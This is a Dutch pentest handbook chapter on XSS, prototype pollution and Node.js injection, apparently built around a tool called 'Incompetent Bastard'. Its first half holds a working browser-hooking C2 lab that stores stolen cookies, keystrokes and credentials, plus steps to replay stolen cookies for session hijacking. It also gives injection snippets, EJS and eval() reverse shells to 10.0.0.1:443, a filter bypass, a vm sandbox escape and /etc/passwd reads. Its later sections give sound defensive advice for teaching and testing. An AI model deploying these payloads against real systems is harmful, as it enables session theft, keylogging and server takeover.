class db_xxs_commands(db.Model):
__tablename__ = 'db_xxs_commands'
id = db.Column(db.Integer, primary_key=True)
host = db.Column(db.String(32), default='*')
opdracht = db.Column(db.Text())In theorie poll de beacon periodiek dit endpoint en voert ontvangen commando’s uit. Je kunt per host targeten of een wildcard gebruiken om alle gehoekte browsers tegelijk aan te sturen.
4.7.5 De database modellen
Achter dit alles zit een verzameling SQLAlchemy-modellen die alle verzamelde data opslaan:
class db_xxs_cookies(db.Model):
__tablename__ = 'db_xxs_cookies'
id = db.Column(db.Integer, primary_key=True)
datum = db.Column(db.DateTime, default=date.today())
agent = db.Column(db.String(255))
ip = db.Column(db.String(255))
naam = db.Column(db.String(255))
md5 = db.Column(db.String(32))
cookies = db.Column(db.Text())
locatie = db.Column(db.Text())class db_xxs_hooked(db.Model):
__tablename__ = 'db_xxs_hooked'
id = db.Column(db.Integer, primary_key=True)
datum = db.Column(db.DateTime, default=date.today())
agent = db.Column(db.String(255))
ip = db.Column(db.String(255))
md5 = db.Column(db.String(32))class db_xxs_keylogger(db.Model):
__tablename__ = 'db_xxs_keylogger'
id = db.Column(db.Integer, primary_key=True)
datum = db.Column(db.DateTime, default=date.today())
agent = db.Column(db.String(255))
ip = db.Column(db.String(255))
naam = db.Column(db.String(255))
md5 = db.Column(db.String(32))
toetsen = db.Column(db.Text())
locatie = db.Column(db.Text())class db_xxs_localstorage(db.Model):
__tablename__ = 'db_xxs_localstorage'
id = db.Column(db.Integer, primary_key=True)
datum = db.Column(db.DateTime, default=date.today())
agent = db.Column(db.String(255))
ip = db.Column(db.String(255))
naam = db.Column(db.String(255))
md5 = db.Column(db.String(32))
localstorage = db.Column(db.Text())
locatie = db.Column(db.Text())class db_xxs_login(db.Model):
__tablename__ = 'db_xxs_login'
id = db.Column(db.Integer, primary_key=True)
datum = db.Column(db.DateTime, default=date.today())
agent = db.Column(db.String(255))
ip = db.Column(db.String(255))
username = db.Column(db.String(255))
md5 = db.Column(db.String(32))
password = db.Column(db.String(255))class db_xxs_form(db.Model):
__tablename__ = 'db_xxs_form'
id = db.Column(db.Integer, primary_key=True)
datum = db.Column(db.DateTime, default=date.today())
agent = db.Column(db.String(255))
ip = db.Column(db.String(255))
naam = db.Column(db.String(255))
md5 = db.Column(db.String(32))
form = db.Column(db.Text())
locatie = db.Column(db.Text())Het complete datamodel vangt dus:
| Model | Wat het opslaat |
|---|---|
db_xxs_hooked |
Geregistreerde slachtoffers (IP + User-Agent) |
db_xxs_cookies |
Gestolen cookies per slachtoffer |
db_xxs_localstorage |
localStorage dumps per slachtoffer |
db_xxs_keylogger |
Toetsaanslagen per sessie |
db_xxs_login |
Autocomplete-geharveste credentials |
db_xxs_form |
Onderschepte formulierdata |
db_xxs_commands |
C2-opdrachten om naar gehoekte browsers te sturen |
Elk model slaat het IP-adres, de User-Agent, een MD5-hash (voor
deduplicatie), een datum, en de daadwerkelijke data op. De
locatie velden bevatten de Referer URL – zodat je weet op
welke pagina het slachtoffer zich bevond.
4.7.6 Het dashboard:
/dashboard/xxs
@xxs_bp.route("/dashboard/xxs", methods=["GET", "POST"])
def xxs_dashboard():
hooked = db_xxs_hooked.query.all()
cookies = db_xxs_cookies.query.order_by('datum').all()
keylogger = db_xxs_keylogger.query.order_by('datum').all()
localstorage = db_xxs_localstorage.query.order_by('datum').all()
pagina = render_template('xss_dashboard.html',
cookies=cookies,
keylogger=keylogger,
localstorage=localstorage,
hooked=hooked,
aantalhooked=len(hooked))
return paginaHet dashboard geeft je in een oogopslag:
- Hooked clients: hoeveel browsers zijn er actief gehoekt, met hun IP en User-Agent
- Cookies: alle gestolen cookies, gesorteerd op datum
- Keylogger: de toetsaanslagen per sessie, groeiend in real-time
- localStorage: de volledige localStorage dumps
4.7.7 Data exporteren
Het dashboard biedt ook export-mogelijkheden voor elk type data:
Cookies exporteren in Netscape formaat:
@xxs_bp.route("/dashboard/xxs/download_cookies/<int:id>")
def xxs_download_cookies(id):
cookies = db_xxs_cookies.query.filter_by(id=id)
waarden = ''
regel = "\n[host]\tTRUE\t/\tFALSE\t[tijdstip]\t[naam]\t[waarde]"
for x in cookies:
for f in x.cookies.split(';'):
y = f.split('=')
waarden = waarden + regel.replace('[host]', str(x.ip)) \
.replace('[tijdstip]', str(tijdstip)) \
.replace('[naam]', str(y[0]).strip()) \
.replace('[waarde]',
str(f.replace(y[0]+'=','')).strip())
header = '''# Netscape HTTP Cookie File
# http://curl.haxx.se/rfc/cookie_spec.html
# This file was generated by Incompetent Bastard'''
return header + waarden, 200, {
'Content-Disposition':
'attachment; filename="cookies_'+x.ip+'.txt"',
...
}De cookies worden geexporteerd in het Netscape cookie-bestandsformaat
– hetzelfde formaat dat tools als curl begrijpen. Je kunt
het gedownloade bestand direct gebruiken om de sessie van het
slachtoffer over te nemen:
curl -b cookies_192.168.1.100.txt https://kwetsbare-site.nl/adminKeylogger data exporteren:
@xxs_bp.route("/dashboard/xxs/download_toetsen/<int:id>")
def xxs_download_toetsen(id):
data = db_xxs_keylogger.query.filter_by(id=id).first()
header = '''# Keylog: [host] ([agent])
# location: [locatie]
# This file was generated by Incompetent Bastard'''
tekst = header.replace('[host]', data.ip) \
.replace('[agent]', data.agent) \
.replace('[locatie]', data.locatie) \
+ "\n\n" + data.toetsen
...En hetzelfde patroon voor localStorage exports.
4.7.8 Walkthrough: van XSS injectie tot sessie-overname
Laten we het hele proces eens doorlopen, stap voor stap, van het vinden van een XSS-kwetsbaarheid tot het volledig overnemen van een sessie.
Stap 1: Configureer IB.
Zorg dat de db_instellingen tabel je IP-adres bevat in
het ikzelf veld, en dat localhost wijst naar
het adres waarop IB draait (bijvoorbeeld
http://10.0.0.1:5000).
Stap 2: Vind de XSS.
Gebruik de payloads uit web_xss_payloads om een
reflective of stored XSS te vinden. Stel: je vindt een stored XSS in een
commentaarveld.
Stap 3: Injecteer de beacon.
In plaats van <script>alert(1)</script>
injecteer je:
<script src="http://10.0.0.1:5000/x.js"></script>Of als script-tags gefilterd zijn:
<img src=x onerror="s=document.createElement('script');
s.src='http://10.0.0.1:5000/x.js';
document.body.appendChild(s)">Stap 4: Wacht op slachtoffers.
Elke gebruiker die de pagina met het geinfecteerde commentaar bezoekt, laadt de beacon. De beacon:
- Registreert de browser als “gehoekt” in
db_xxs_hooked - Stuurt alle cookies naar
/xxs/cookies - Stuurt de volledige localStorage naar
/xxs/localstorage - Maakt onzichtbare invoervelden aan voor autocomplete-harvesting
- Installeert een keylogger en click tracker
Stap 5: Monitor het dashboard.
Ga naar http://10.0.0.1:5000/dashboard/xxs. Je ziet:
- Het aantal gehoekte browsers (
aantalhooked) - Per slachtoffer: IP, User-Agent, datum
- De gestolen cookies, localStorage data, en keylogger output
Stap 6: Export en gebruik.
Download de cookies van een admin-gebruiker in Netscape formaat.
Gebruik ze met curl of importeer ze in je browser:
# Directe sessie-overname met curl
curl -b cookies_192.168.1.42.txt \
https://kwetsbare-site.nl/admin/users
# Of bekijk de gestolen data
curl -b cookies_192.168.1.42.txt \
https://kwetsbare-site.nl/api/v1/meStap 7: Optioneel – C2 commando’s.
Via het db_xxs_commands model kun je
JavaScript-opdrachten sturen naar gehoekte browsers. Wil je een
screenshot maken van wat het slachtoffer ziet? Een redirect forceren?
Extra data exfiltreren? Alles is mogelijk zodra je JavaScript kunt
uitvoeren in hun browser.
IB Tip: Het beacon-systeem van IB is bewust eenvoudig gehouden. Het is geen BeEF (Browser Exploitation Framework) met honderden modules. Het is een lichtgewicht, pragmatisch systeem dat de vijf dingen doet die je in 90% van de pentests nodig hebt: cookies stelen, localStorage dumpen, credentials harvesten, keyloggen, en C2-commando’s sturen.
4.8 Prototype Pollution: vergiftiging van de blauwdruk
Nu verlaten we de browser en betreden we het domein van JavaScript als taal – specifiek de eigenaardigheden van prototypische overerving. Prototype pollution is een kwetsbaarheid die zo fundamenteel is dat het bijna komisch is. Het is alsof iemand ontdekt dat je het DNA van een hele soort kunt veranderen door de juiste bacterie te injecteren.
4.8.1 Wat is prototype pollution?
In JavaScript erft elk object eigenschappen van een prototype-object.
Als je een nieuw object aanmaakt, erft het automatisch van
Object.prototype. Dit is de basis van prototypische
overerving – JavaScript’s antwoord op klasse-gebaseerde overerving,
bedacht in die legendarische tien dagen.
Het probleem: als een aanvaller erin slaagt om
Object.prototype te wijzigen, heeft dat effect op elk
object in de applicatie. Het is alsof je de bouwvoorschriften van een
stad verandert – elk gebouw dat daarna gebouwd wordt, volgt de nieuwe,
gecompromitteerde regels.
Het mechanisme:
// Normaal object
let obj = {};
console.log(obj.polluted); // undefined
// Prototype pollution via __proto__
let kwaadaardig = JSON.parse(
'{"__proto__":{"polluted":"ja"}}'
);
// Een onveilige merge-functie kopieert dit naar een target:
// merge(target, kwaadaardig)
// Nu heeft ELK object de eigenschap "polluted"
let ander_obj = {};
console.log(ander_obj.polluted); // "ja" (!)De __proto__ eigenschap is een verwijzing naar het
prototype van een object. Door deze te manipuleren in user-controlled
input, kun je eigenschappen toevoegen aan Object.prototype
– en daarmee aan elk object in de applicatie.
4.8.2 Van pollution naar Remote Code Execution
Prototype pollution op zichzelf is al vervelend, maar het wordt pas echt gevaarlijk wanneer het gecombineerd wordt met een template engine. Veel template engines in Node.js lezen configuratie-opties van objecten – en als die objecten vervuilde prototypes hebben, voert de template engine de kwaadaardige waarden uit.
4.8.3 IB Command:
web_prototype_pollution
# Bestandslocatie:
# http/commands/web_prototype_pollutionHet command bestand bevat detectie- en exploitatiepayloads:
Blackbox detectie:
{"__proto__":{"polluted":"yes"}}
{"constructor":{"prototype":{"polluted":"yes"}}}Stuur een van deze als JSON-body naar een endpoint. Check daarna of
een nieuw aangemaakt object de eigenschap polluted heeft.
Als {}.polluted === "yes", is de applicatie kwetsbaar.
Crash test:
{"__proto__":{"toString":"crash"}}Als de applicatie crasht nadat je dit stuurt, is dat een sterke
indicator van prototype pollution. De toString methode
wordt overal gebruikt, en als die opeens een string is in plaats van een
functie, gaat alles kapot.
RCE via EJS template engine:
{
"__proto__": {
"outputFunctionName": "x;process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/10.0.0.1/443 0>&1\"');x"
}
}EJS leest outputFunctionName uit de opties. Door deze te
polluten met een JavaScript-expressie die een reverse shell spawnt,
krijg je code execution op de server.
Laat dat even bezinken. Je stuurt een JSON-object naar een webapplicatie, en als gevolg daarvan krijgt je een shell op de server. Via een mechanisme dat eigenlijk bedoeld is voor template configuratie. Het is alsof je bij een restaurant een speciale bestelling plaatst en als gevolg daarvan toegang krijgt tot de keuken.
RCE via Pug template engine:
{
"__proto__": {
"block": {
"type": "Text",
"val": "x]];process.mainModule.require('child_process').exec('id');//"
}
}
}Kwetsbare libraries:
Het command bestand noemt specifieke libraries die kwetsbaar zijn voor prototype pollution in hun merge/extend functies:
deep-extendlodash.merge(versies ouder dan 4.6.2)jQuery.extendmetdeep=truehoistjs,deeps,defaults-deep,assign-deep
Belangrijk: Object.assign is niet
kwetsbaar. Het is een shallow copy en kopieert geen
__proto__ eigenschappen.
Detectie in source code:
Zoek naar: - merge(target, source) – custom
merge-functies - extend(true, target, source) –
jQuery-stijl deep extend
Preventie:
- Gebruik
Object.create(null)voor objecten die als dictionaries dienen - Gebruik
Mapin plaats van gewone objecten - Controleer altijd met
hasOwnPropertyvoordat je een eigenschap kopieert
IB Tip: WebSocket-parameters zijn vaak kwetsbaarder voor prototype pollution dan reguliere HTTP-parameters. De reden: minder sanitization. Websockets zijn de achterdeuren van veel applicaties – iedereen focust op de voordeur (HTTP), terwijl de achterdeur wagenwijd open staat. Combineer prototype pollution met de template engine die de applicatie gebruikt voor een volledige RCE-chain.
4.9 Node.js Injection: eval() en het einde der tijden
We zijn nu aangekomen bij het meest verbijsterende beveiligingsprobleem dat er bestaat in de JavaScript-wereld. Het is een probleem dat al bestaat sinds de eerste dag dat iemand dacht: “Hey, laten we JavaScript ook op de server draaien!” Het is een probleem waarvan elke beveiligingsexpert zegt dat het nooit mag voorkomen. En toch komt het voor. Keer op keer.
eval() in Node.js.
Voor wie het niet weet: eval() is een functie die een
string neemt en die uitvoert als JavaScript-code. In de browser is dat
al gevaarlijk. Op een server is het het digitale equivalent van een open
nucleaire lanceerinstallatie met het wachtwoord “password123.”
Want Node.js draait niet in een sandbox. Er is geen Same-Origin
Policy. Er is geen Content Security Policy. Als je code kunt uitvoeren
via eval() in Node.js, heb je directe toegang tot het
bestandssysteem, het netwerk, de processen – alles.
4.9.1 IB Command:
web_nodejs_inject
# Bestandslocatie:
# http/commands/web_nodejs_injectBasis eval() injection:
// Test of eval() actief is:
1+1
// Commando uitvoeren:
require('child_process').execSync('id').toString()
// Bestanden lezen:
require('child_process').execSync('cat /etc/passwd').toString()Als een applicatie user input in eval() stopt – en ja,
dat gebeurt echt – dan is een enkele regel genoeg voor volledige
server-compromitatie.
Reverse shell via eval():
require('child_process').exec(
'bash -c "bash -i >& /dev/tcp/10.0.0.1/443 0>&1"'
)Of een meer geavanceerde variant met de net module:
var net = require('net'),
sh = require('child_process').exec('/bin/bash');
var c = new net.Socket();
c.connect(443, '10.0.0.1', function() {
c.pipe(sh.stdin);
sh.stdout.pipe(c);
sh.stderr.pipe(c);
});Slash bypass via hex encoding:
Als het karakter / gefilterd is:
var cmd = '\x2fbin\x2fbash';
require('child_process').exec(
cmd + ' -c "bash -i >& \x2fdev\x2ftcp\x2f10.0.0.1\x2f443 0>&1"'
)\x2f is de hexadecimale representatie van
/. JavaScript decodeert dit voor uitvoering, dus het filter
ziet geen slashes maar de runtime wel.
Template literal injection:
${require('child_process').execSync('id')}Als user input in een template literal terecht komt (backtick
strings), worden ${} expressies uitgevoerd.
vm module sandbox escape:
Node.js heeft een vm module die bedoeld is als een soort
sandbox. “Bedoeld” is hier het sleutelwoord, want de sandbox is poreuzer
dan een vergiet:
this.constructor.constructor('return process')()
.mainModule.require('child_process')
.execSync('id').toString()Door de constructor-chain te volgen, ontsnap je uit de vm-sandbox en
krijg je toegang tot het process object van Node.js. Van
daaruit is het trivial om child_process te laden en
commando’s uit te voeren.
Bestanden lezen:
require('fs').readFileSync('/etc/passwd', 'utf8')De fs module geeft directe toegang tot het
bestandssysteem. Geen omwegen, geen restricties.
Waar te zoeken:
Het command bestand geeft specifieke functies en patronen om naar te zoeken:
eval()– de boosdoener nummer eenFunction()– een dynamische functie-constructor, even gevaarlijk alseval()vm.runInNewContext()– de nep-sandboxsetTimeout(user_input)– als de eerste parameter een string is, werkt het alseval()setInterval(user_input)– idem- Express route parameters – onverwachte plaatsen waar input kan belanden
- Bassmaster batch
$refsyntax – een bekende kwetsbaarheid
En de twee gouden tips:
- Node.js eval is directe RCE. Er is geen sandbox. Geen beperking. Niks.
- JSON.parse is veilig. Het parseert alleen data, het
voert niks uit.
eval()op JSON is het probleem, nietJSON.parse().
IB Tip: Als je
eval()ofFunction()tegenkomt in server-side JavaScript, is dat altijd een bevinding, zelfs als de input op dat moment niet direct te controleren lijkt. Het is een tikkende tijdbom die wacht tot iemand de verkeerde waarde doorgeeft.
4.10 Verdediging: hoe het wel moet
Het mooie aan de webbeveiliging-industrie is dat we al twintig jaar oplossingen hebben voor XSS, en dat we ze collectief weigeren te gebruiken. We weten hoe het moet. We hebben de tools. We hebben de standaarden. We hebben de documentatie. En toch, jaar na jaar, verschijnt XSS in de OWASP Top 10.
Het is alsof de hele mensheid een handleiding heeft voor het voorkomen van branden, maar we blijven collectief onze sigaretten in het droge gras gooien.
Maar goed, voor de mensen die daadwerkelijk hun werk willen doen, hier zijn de verdedigingen.
4.10.1 Output Encoding – de eerste verdedigingslinie
De meest fundamentele verdediging tegen XSS is output encoding: het onschadelijk maken van speciale tekens voordat ze in de HTML terechtkomen.
< wordt <
> wordt >
" wordt "
' wordt '
& wordt &
Context-specifieke encoding is essentieel. HTML-encoding beschermt in de HTML-context maar niet in JavaScript-strings. JavaScript-encoding beschermt in JavaScript maar niet in HTML-attributen. URL-encoding beschermt in URL’s maar niet in HTML.
# Python/Flask -- veilig (Jinja2 auto-escapes)
{{ user_input }}
# ONVEILIG -- | safe schakelt auto-escaping uit
{{ user_input | safe }}// JavaScript -- ONVEILIG
element.innerHTML = userInput;
// JavaScript -- veilig
element.textContent = userInput;De regel is simpel: gebruik textContent in plaats van
innerHTML wanneer je tekst rendert. Gebruik de
auto-escaping van je template engine. En als je ooit | safe
of {!! !!} of dangerouslySetInnerHTML typt,
stop dan even en vraag jezelf af waarom.
4.10.2 Content Security Policy (CSP) – de tweede verdedigingslinie
Content Security Policy is een HTTP-header die de browser vertelt welke bronnen een pagina mag laden. Het is de meest krachtige verdediging tegen XSS, en tegelijkertijd de meest onderbenutte.
Content-Security-Policy: default-src 'self';
script-src 'self';
style-src 'self' 'unsafe-inline';
img-src 'self' data:;
frame-ancestors 'none';
base-uri 'self';
form-action 'self';
Met deze header kan de pagina alleen scripts laden van zijn eigen
domein ('self'). Inline scripts
(<script>alert(1)</script>) worden geblokkeerd.
Event handler attributen (onerror=alert(1)) worden
geblokkeerd. eval() wordt geblokkeerd.
Belangrijke CSP directives voor XSS-preventie:
| Directive | Functie |
|---|---|
script-src |
Welke bronnen mogen scripts leveren |
style-src |
Welke bronnen mogen stylesheets leveren |
default-src |
Fallback voor alle resource types |
frame-ancestors |
Wie mag deze pagina in een iframe laden |
base-uri |
Welke base URIs zijn toegestaan |
form-action |
Waar mogen formulieren naartoe submitten |
Nonce-based CSP:
Content-Security-Policy: script-src 'nonce-R4nd0mStr1ng';
<!-- Dit script wordt uitgevoerd (juiste nonce) -->
<script nonce="R4nd0mStr1ng">
// Legitieme applicatie code
</script>
<!-- Dit script wordt geblokkeerd (geen nonce) -->
<script>alert('XSS')</script>Met nonce-based CSP moeten alle scripts een unieke, per-request gegenereerde nonce hebben. Een aanvaller die XSS injecteert, kent de nonce niet en kan dus geen scripts uitvoeren.
Strict-dynamic:
Content-Security-Policy: script-src 'strict-dynamic' 'nonce-R4nd0m';
Met strict-dynamic mogen scripts die via een vertrouwd
script geladen worden (met de juiste nonce), zelf ook weer scripts
laden. Dit maakt het makkelijker om CSP te implementeren in complexe
applicaties met veel dynamisch geladen scripts.
4.10.3 HttpOnly Cookies
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict
De HttpOnly vlag voorkomt dat JavaScript de cookie kan
lezen via document.cookie. Dit beschermt specifiek tegen de
meest directe vorm van XSS-exploitatie: cookie theft.
Maar – en dit is belangrijk – HttpOnly beschermt niet
tegen:
- CSRF via XSS (de browser stuurt cookies automatisch mee)
- Keylogging
- DOM-manipulatie
- Phishing via pagina-vervanging
- localStorage theft
HttpOnly is een slot op een van de deuren. Beter dan
niks, maar geen volledige oplossing.
4.10.4 DOMPurify – sanitization voor de client-side
// ONVEILIG
element.innerHTML = userInput;
// VEILIG met DOMPurify
element.innerHTML = DOMPurify.sanitize(userInput);DOMPurify is een JavaScript-library die HTML sanitizetert door alle potentieel gevaarlijke elementen en attributen te verwijderen. Het is de industriestandaard voor client-side HTML-sanitization.
// DOMPurify configuratie voorbeelden
DOMPurify.sanitize(dirty, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'],
ALLOWED_ATTR: ['href']
});4.10.5 Specifieke verdedigingen per XSS-type
| XSS Type | Primaire verdediging | Secundaire verdediging |
|---|---|---|
| Reflected | Output encoding | CSP, input validatie |
| Stored | Output encoding | CSP, input sanitization |
| DOM-based | Gebruik textContent |
DOMPurify, CSP |
Voor DOM-based XSS specifiek:
- Vermijd
innerHTML,document.write(),eval() - Gebruik
textContentofsetAttribute()in plaats vaninnerHTML - Valideer de
originbijpostMessageevents:
window.addEventListener('message', function(event) {
// ALTIJD de origin controleren!
if (event.origin !== 'https://vertrouwd-domein.nl') {
return; // Negeer berichten van onbekende bronnen
}
// Gebruik textContent, NIET innerHTML
document.getElementById('notificatie').textContent = event.data;
});4.10.6 De cynische waarheid over “het is maar JavaScript”
Er zit een bepaald type manager in de tech-industrie – je kent ze wel, die figuren met hun poloshirts en hun “agile” buzzwords – die bij elke pentest- rapportage met een XSS-bevinding zeggen: “Maar het is maar een pop-up. Hoe erg kan het zijn?”
Het is maar een pop-up. Precies. En een kernreactor is maar een waterkoker. En een pistool is maar een buisje met een veertje. De vereenvoudiging mist het punt zo spectaculair dat het bijna bewonderenswaardig is.
Het is maar JavaScript. Datzelfde JavaScript dat:
- Je sessie kan overnemen
- Je wachtwoorden kan loggen
- Je scherm kan vervangen met een phishing-pagina
- Transacties kan uitvoeren namens jou
- Je bedrijfsgegevens kan exfiltreren
- Een persistent backdoor kan installeren in je browser
“Het is maar JavaScript” is het beveiligingsequivalent van “het is maar een beetje water” terwijl de dam breekt.
Het probleem is niet dat managers niet begrijpen wat JavaScript kan. Het probleem is dat ze niet willen begrijpen wat JavaScript kan. Want als ze het zouden begrijpen, zouden ze ook moeten begrijpen dat hun applicatie al jaren kwetsbaar is, dat ze al jaren de verkeerde keuzes hebben gemaakt, en dat het fixen geld kost. En het is altijd makkelijker om het risico weg te wuiven dan om het aan te pakken.
Daarom maken we die mooie alert(1) pop-ups. Niet omdat
dat het enige is wat we kunnen, maar omdat het de simpelste manier is om
te bewijzen dat er code- executie mogelijk is. De echte exploit komt
erna. En die laat je zien in een gecontroleerde omgeving, met een tool
als Incompetent Bastard, zodat ook de meest cynische manager het risico
niet meer kan ontkennen.
IB Tip: In je pentestrapport: toon altijd meer dan alleen
alert(1). Demonstreer session hijacking met het IB beacon lab. Laat zien dat je cookies kunt stelen, dat je kunt keyloggen, dat je de pagina kunt vervangen. Kwantificeer de impact. “Een aanvaller kan alle sessies van ingelogde gebruikers overnemen” is een stuk overtuigender dan “er verscheen een pop-up.”
4.11 Prototype Pollution verdediging
Voor prototype pollution gelden specifieke verdedigingsmaatregelen:
1. Gebruik Object.create(null) voor
dictionaries:
// ONVEILIG -- erft van Object.prototype
let config = {};
// VEILIG -- geen prototype
let config = Object.create(null);2. Gebruik Map in plaats van gewone
objecten:
// ONVEILIG
let cache = {};
cache[userInput] = value;
// VEILIG
let cache = new Map();
cache.set(userInput, value);3. Controleer met hasOwnProperty:
function safeMerge(target, source) {
for (let key in source) {
if (source.hasOwnProperty(key)) {
if (key === '__proto__' || key === 'constructor') {
continue; // Skip gevaarlijke keys
}
target[key] = source[key];
}
}
return target;
}4. Update je dependencies:
lodash>= 4.6.2- Vermijd
deep-extend,hoistjs, en andere bekende kwetsbare libraries
5. Freeze het prototype:
Object.freeze(Object.prototype);Dit is de nucleaire optie: niemand kan meer eigenschappen toevoegen
aan Object.prototype. Het breekt mogelijk legitieme code
die prototypes uitbreidt, maar het elimineert prototype pollution
volledig.
4.12 Node.js Injection verdediging
1. Gebruik nooit eval() op user
input:
// NOOIT DIT DOEN
app.get('/calc', (req, res) => {
let result = eval(req.query.expr); // RCE!
res.send(String(result));
});
// VEILIG alternatief -- gebruik een parser
const mathjs = require('mathjs');
app.get('/calc', (req, res) => {
let result = mathjs.evaluate(req.query.expr);
res.send(String(result));
});2. JSON.parse() is veilig, eval()
op JSON is dat niet:
// VEILIG
let data = JSON.parse(userInput);
// ONVEILIG
let data = eval('(' + userInput + ')');3. Gebruik --frozen-intrinsics
flag:
node --frozen-intrinsics app.jsDit bevriest alle ingebouwde objecten, waardoor prototype pollution onmogelijk wordt.
4. Vermijd vm als sandbox:
De vm module van Node.js is geen beveiligings-sandbox.
Gebruik vm2 of isolated-vm als je echt code in
een sandbox wilt uitvoeren, maar weet dat ook deze libraries
kwetsbaarheden kunnen hebben.
4.13 Samenvatting: de XSS gereedschapskist
We hebben in dit hoofdstuk een reis gemaakt van de simpelste
<script>alert(1) </script> tot een volledig
operationeel XSS command and control systeem. Laten we de belangrijkste
lessen op een rij zetten.
XSS Typen
| Type | Payload locatie | Server betrokken | Vereist klik |
|---|---|---|---|
| Reflected | URL parameters | Ja | Ja |
| Stored | Database/bestand | Ja | Nee |
| DOM-based | URL fragment/DOM | Nee | Soms |
IB Command Referentie
| Command | Doel |
|---|---|
web_xss_payloads |
XSS-vectoren per context en filter bypass |
web_xss_steal |
Exfiltratie-payloads (cookies, keys, creds) |
web_prototype_pollution |
Prototype pollution detectie en RCE-chains |
web_nodejs_inject |
Node.js server-side injection technieken |
IB Beacon Lab Endpoints
| Endpoint | Functie |
|---|---|
/x.js of /xxs.js |
Beacon JavaScript payload delivery |
/xxs/cookies |
Cookie exfiltratie callback |
/xxs/localstorage |
localStorage exfiltratie callback |
/xxs/keylogger |
Keylogger data callback |
/xxs/gebruiker |
Autocomplete credential callback |
/xxs/commands |
C2 command polling |
/dashboard/xxs |
Overzicht dashboard |
/dashboard/xxs/download_cookies/<id> |
Cookie export (Netscape) |
/dashboard/xxs/download_toetsen/<id> |
Keylogger export |
/dashboard/xxs/download_localstorage/<id> |
localStorage export |
IB Database Modellen
| Model | Tabel | Slaat op |
|---|---|---|
db_xxs_hooked |
db_xxs_hooked |
Gehoekte browsers |
db_xxs_cookies |
db_xxs_cookies |
Gestolen cookies |
db_xxs_localstorage |
db_xxs_localstorage |
localStorage data |
db_xxs_keylogger |
db_xxs_keylogger |
Toetsaanslagen |
db_xxs_login |
db_xxs_login |
Autocomplete credentials |
db_xxs_form |
db_xxs_form |
Formulierdata |
db_xxs_commands |
db_xxs_commands |
C2 opdrachten |
db_instellingen |
db_instellingen |
Configuratie (IP, etc.) |
Verdedigingsoverzicht
| Maatregel | Beschermt tegen | Effectiviteit |
|---|---|---|
| Output encoding | Reflected, Stored XSS | Hoog |
| CSP (nonce-based) | Alle XSS-typen | Zeer hoog |
| HttpOnly cookies | Cookie theft via XSS | Medium |
| DOMPurify | DOM-based XSS | Hoog |
| textContent | DOM-based XSS | Hoog |
| Object.create(null) | Prototype pollution | Hoog |
| JSON.parse | Node.js injection (vs eval) | Hoog |
4.14 Verder lezen en referenties
| Bron | Onderwerp |
|---|---|
| OWASP XSS Prevention Cheat Sheet | Output encoding per context |
| OWASP Testing Guide - XSS | Testmethodologie |
| PortSwigger Web Security Academy - XSS | Interactieve labs |
| Google CSP Evaluator | CSP-beleid testen |
| DOMPurify GitHub repository | Client-side sanitization |
| CWE-79: Improper Neutralization of Input | Formele kwetsbaarheidsdefinitie |
| CWE-1321: Improperly Controlled Modification | Prototype pollution CWE |
| NodeGoat OWASP Project | Node.js beveiligingslabs |
| HackTricks - XSS | Uitgebreide payload collectie |
| BeEF Framework | Browser exploitation reference |
De volgende keer dat iemand je vertelt dat XSS “maar een pop-up” is, nodig ze dan uit voor een demonstratie met het IB beacon lab. Niets overtuigt zo snel als het zien van je eigen toetsaanslagen op het scherm van iemand anders.
In het volgende hoofdstuk duiken we in Server-Side Request Forgery (SSRF) – een kwetsbaarheid waarbij we de server zelf als proxy gebruiken om plaatsen te bereiken waar we niet horen te zijn. Als XSS gaat over het manipuleren van de browser, gaat SSRF over het manipuleren van de server. En servers hebben doorgaans toegang tot veel interessantere dingen dan browsers.